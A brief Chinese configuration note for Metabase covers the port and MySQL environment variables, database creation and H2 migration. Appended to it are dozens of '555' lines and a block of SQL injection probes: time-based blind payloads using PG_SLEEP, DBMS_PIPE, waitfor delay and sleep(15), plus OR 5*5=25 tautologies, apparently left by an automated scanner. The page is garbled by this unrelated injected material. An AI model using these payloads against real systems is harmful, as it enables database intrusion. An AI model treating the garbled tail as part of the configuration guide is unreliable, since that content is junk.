MateBase配置说明
MateBase配置,需要修改环境变量来实现,这里以Win+MySQL为例,具体查看官方文档。
1、修改默认端口:
环境变量:
MB_JETTY_PORT=1234
2、修改默认数据库为mysql:
环境变量:
SET MB_DB_TYPE=mysql
SET MB_DB_DBNAME=metabase
SET MB_DB_PORT=3306
SET MB_DB_USER=*****
SET MB_DB_PASS=*****
SET MB_DB_HOST=localhost
3、创建数据库
CREATE DATABASE metabase CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
4、数据迁移
java -jar metabase.jar load-from-h2 D:/metabase.db/metabase.db
- 注意:
do not include .mv.db
官方文档:从使用 H2 数据库迁移到 Postgres 或 MySQL/MariaDB
执行
java -jar metabase.jar
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@3LeGQ
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555cwivFNsg')) OR 690=(SELECT 690 FROM PG_SLEEP(15))--
555DzbmXLUO') OR 892=(SELECT 892 FROM PG_SLEEP(15))--
555ABG6s3aB' OR 425=(SELECT 425 FROM PG_SLEEP(15))--
555-1)) OR 867=(SELECT 867 FROM PG_SLEEP(15))--
555-1) OR 232=(SELECT 232 FROM PG_SLEEP(15))--
555-1 OR 887=(SELECT 887 FROM PG_SLEEP(15))--
555xmVE8DeL'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "DzGjDh7F"="
-1' OR 5*5=25 or 'Wotg9Dk9'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555